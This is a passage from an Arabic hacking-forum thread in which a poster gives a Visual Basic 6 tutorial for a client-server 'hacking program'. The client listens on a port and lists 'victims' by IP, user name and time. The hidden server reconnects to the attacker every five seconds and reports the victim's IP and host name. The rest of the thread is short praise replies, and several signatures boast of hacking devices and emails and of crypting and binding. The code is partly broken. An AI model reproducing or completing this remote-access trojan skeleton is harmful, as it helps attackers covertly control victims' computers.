صنع برنامج اختراق عميل+خادم

صنع برنامج اختراق عميل+خادم


صفحة 1 من 3 123 الأخيرةالأخيرة
النتائج 1 إلى 10 من 25

الموضوع: صنع برنامج اختراق عميل+خادم

  1. #1

    Hasri صنع برنامج اختراق عميل+خادم

    بسم الله الرحمن الرحيم
    الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،،
    موضوعنا اليوم باين من عنوانه
    سنشرح صنع واجهة برنامج اختراق ( عميل + خادم)

    -: العميل :-
    نشغل برنامج الفيجوال بيسك

    الأدوات
    ندوس كليك شمال على الـ Tool Bar

    نختار بعدها Components

    نختار اداتين

    اول اداه و اسمها

    Microsoft Windows Common Controls 6.0

    و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها

    Microsoft Winsock Control 6.0


    نضيف اداه List View و اداه Winsock كما موضح بالصوره

    نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا

    نختار اداه الوينسوك و نعدل كلأتى

    Name : Sock
    Index : 0

    و بعدها نختار اداه الليست فيو

    و نعدل عليها

    Name : lstvict

    و بعدها ندوس زرار Custom

    نعدل اعداداتها بالظبط زى ما هو باين ف الصوره

    و بعدها ندوس على زرار Column Headers

    نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر

    ندوس على insert column


    رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه

    و نرجع تانى ندوس على insert Column

    و نضيف
    IP
    و بعدها insert Column
    و نضيف
    User Name
    و بعدها insert column
    و نضيف
    Time

    و ملحوظه كدا صغيره

    Width ده يبقى عرض الخانه

    عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض

    انا مثلا خليت عرضهم
    1653.73

    هيظهر لنا بالشكل ده

    كدا خلصنا من الوينسوك و الليست فيو

    نضيف تكست

    و نسميه
    Sck

    و نخلى القيمه

    Visible = False

    لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل ))

    -: الأكواد :-

    كود التصريحات العامه
    كود:
    Dim SckNumber As Integer
    كود الفورم لود
    كود:
    SckNumber = 0 ' تصفير المتغير SckNumber
    
    Form1.Sock(Index).Close '  قفل الوينسوك و قطع اى اتصال
    
    Form1.Sock(Index).LocalPort = 5100   '  تحديد البورت المناسب للوينسوك
    
     Form1.Sock(Index).Listen  ' بدايه الأنصات
    -: اكواد الوينسوك :-

    ف الوينسوك يوجد اجرائات متععده

    ما هوا الأجراء و ما هى الأداه؟؟

    نختار الأجرائين

    Close
    Error
    كود:
    ''''''''  قطع الأتصال من الخادم المغلق''''''''''
    Sock(Index).Close
    For z = 1 To lstvict.ListItems.Count
    lstvict.ListItems.Remove lstvict.ListItems(z).Index
    Next z
    '''''''''''''''''''''''''''''''''
    connectionRequest الأجراء
    كود:
    On Error GoTo Err:
    '''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''
    كود:
    Dim InServer As Long 
    ConnectionAttempts = ConnectionAttempts + 1
    If Sock.UBound <= 1 Then
    InServer = lstvict.ListItems.Count + 1
    Else
    InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1
    End If
    
    Load Sock(InServer) 
    Sock(InServer).Accept requestID
    Sock(InServer).SendData "v1ct1m"
    Exit Sub
    
    Err: 
    On Error Resume Next:
    Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    كود:
    Dim All_data As String, NData() As String 
    
    
    Sock(Index).GetData All_data, vbString 
    IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), 8): IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), 8)
    NData = Split(All_data, "[\SC/]")
    
    Select Case NData(0)
    
    Case "v1ct1m"
    lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3)
        newItem.ListSubItems.Add , , NData(1)
        newItem.ListSubItems.Add , , NData(2)
        newItem.ListSubItems.Add , , NData(3)
            
            End Select
    الرجاء الانتباه للكود التالي
    كود:
    Ndata = Split(All_Data, "[\SC/]")
    معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس

    Split : كود التقسيم
    All Data : الداتا اللى بتوصل من الخادم
    [\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات

    يعنى مثلا

    نتفرض ان الكود
    كود:
    Dim rEdwolf() , Visual As String
    
    rEdWolf = Split(Visual,"|")
    و نفترض ان Visual
    كود:
    msg|ahmed
    و عاوزين نظهر ده ف مسج بوكس

    هيبقى كودنا
    [IMG]Msgbox rEdW0LF(1)[/IMG]

    rEdWolf لتقسيم المعلومات
    و رقم 1 ده يبقى رقم الداتا

    ياريت بجد اكون قدرت اوصل وظيفه الكود


    بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام



    -:السيرفر:-

    الأدوات

    نضيف الأدوات كما بالصوره


    txtip : الاى بى الخاص بالعميل
    txtport : البورت
    sock : الوينسوك
    Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى

    و نخلى القيمه Visible = False


    و بكده خلصنا ادوات السيرفر


    الأكواد

    كود الفورم لود
    كود:
    Timer1.Interval = 5000
    اكواد الوينسوك

    الأجراء

    Close
    Error

    كود:
    Sock.Close
    الأجراء DataArrival
    (البيانات اللي بتوصل من العميل)
    كود:
     Dim Ndata() As String, All_Data As String 
    'تقسيم المعلومات
    
    Ndata = Split(All_Data, "[\SC/]")
     Sock.GetData All_Data 
    Select Case Ndata(0)
    Case "v1ct1m"
    'استقبال معلومات الخادم
    
     TMPSTR = "v1ct1m" 
    TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP
    TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName
    TMPSTR = TMPSTR & "[\SC/]" & Time
    Sock.SendData TMPSTR
    
    End Select
    و اخيرا كود الـ Timer
    كود:
    If Not Sock.State = sckConnected Then
        Sock.Close
        Sock.Connect txtip, txtport
    Else
    
        Exit Sub
    End If
    الآن خلصنا واجهة البرنامج(عميل +خادم)

    ومبروك عليك أصبحت مبرمج ههههههههه
    ملاحظة //////
    الموضوع منقول للفائدة العامة




    التعديل الأخير تم بواسطة BlAcK HuNtEr ; 09-14-2012 الساعة 06:19 PM
    BlAcK HuNtEr



    The Artisi Of HaCkInG!!!

  2. #2

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اتشرف بان اكون اول من يرد ع موضوعك
    تنسيق ابداع تمييز
    يعطيك الف العافيه تقبل مرورري يالغلا
    تعال ودق اشتراك مع قناتي لبى قلبك

    http://www.youtube.com/user/mishry20?feature=mhee

  3. #3

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اقتباس المشاركة الأصلية كتبت بواسطة مشاري احمد مشاهدة المشاركة
    اتشرف بان اكون اول من يرد ع موضوعك
    تنسيق ابداع تمييز
    يعطيك الف العافيه تقبل مرورري يالغلا
    مشكور يالغالي على المرور العطر ،
    BlAcK HuNtEr



    The Artisi Of HaCkInG!!!

  4. #4
    :: مشرف قسم الباك تراك :: الصورة الرمزية يارب رحمتك
    تاريخ التسجيل
    May 2012
    الدولة
    روح العرب
    المشاركات
    1,147

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    بارك الله فيك ...

    بآلتوفيق ..!!


    youtube

    [ما يلفظ من قول الا لديه رقيب عتيد]
    [ آفعل مآ شئت فكمآ تديُن تدآن ]

    hacker ▎security ▎no Breach>>
    [ mohamed -kareb ]


  5. #5

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    يعطيك العافية
    إخترآق أجهزة _ إيميلات 100 %
    تشفير _ هيكس _ تلغيم 100 %
    اندكسات _ فرونت بيج 100 %
    إختراق مواقــع 30 %

    #
    تم إعتـزال إختراق الأجهزة والتشفير

    twitter : Ss_pc3

  6. #6

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    أقل ما يمكن ان يقال
    شرح رائع وبارك الله فيك اخى


    سـٍُُُُـٍٍُُـٍُـأ ــتـٍُُـعـلـًٍُُـم حــ(ـتـٍٍُُُـٍُُـى أأصـٍٍُُــبـٍٍُُـح ألأفـٍٍُُُـٍُُُُــٍُُــٍُ ُضــًٍُُـًٍُُـل
    فيـــــشهد العالم أجمع بأن العرب
    أسيأأأأأأأد اليْْْْـــهــXXXــود

  7. #7

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    موضوع راائع جدا يستحق التقييم ......

  8. #8

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    حياكم الله ،، نورتونا بمروركم العطر
    التعديل الأخير تم بواسطة BlAcK HuNtEr ; 09-15-2012 الساعة 02:51 PM
    BlAcK HuNtEr



    The Artisi Of HaCkInG!!!

  9. #9

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اقتباس المشاركة الأصلية كتبت بواسطة يارب رحمتك مشاهدة المشاركة
    بارك الله فيك ...

    بآلتوفيق ..!!
    تسلم أخي ،، حياك الله
    BlAcK HuNtEr



    The Artisi Of HaCkInG!!!

  10. #10

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اقتباس المشاركة الأصلية كتبت بواسطة سارة الغامدي مشاهدة المشاركة
    يعطيك العافية
    شكرا على المرور العطر
    حياكم الله
    BlAcK HuNtEr



    The Artisi Of HaCkInG!!!

صفحة 1 من 3 123 الأخيرةالأخيرة

المواضيع المتشابهه

  1. الطريقة الصحيحة لأستخدام خادم الاهاكر خاص بالمبتدئين
    بواسطة hanzer في المنتدى اختراق المواقع والسيرفرات
    مشاركات: 9
    آخر مشاركة: 09-17-2012, 01:40 PM
  2. انس بن مالك...خادم رسول الله صلى الله عليه وسلم
    بواسطة الفريدة في المنتدى المنتدى إلاسلامي
    مشاركات: 2
    آخر مشاركة: 02-18-2011, 03:45 AM
  3. توقعات بقدوم خادم الحرمين الاسبوع القادم ,,
    بواسطة ريكووو في المنتدى المنتدى العام
    مشاركات: 4
    آخر مشاركة: 01-21-2011, 05:01 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •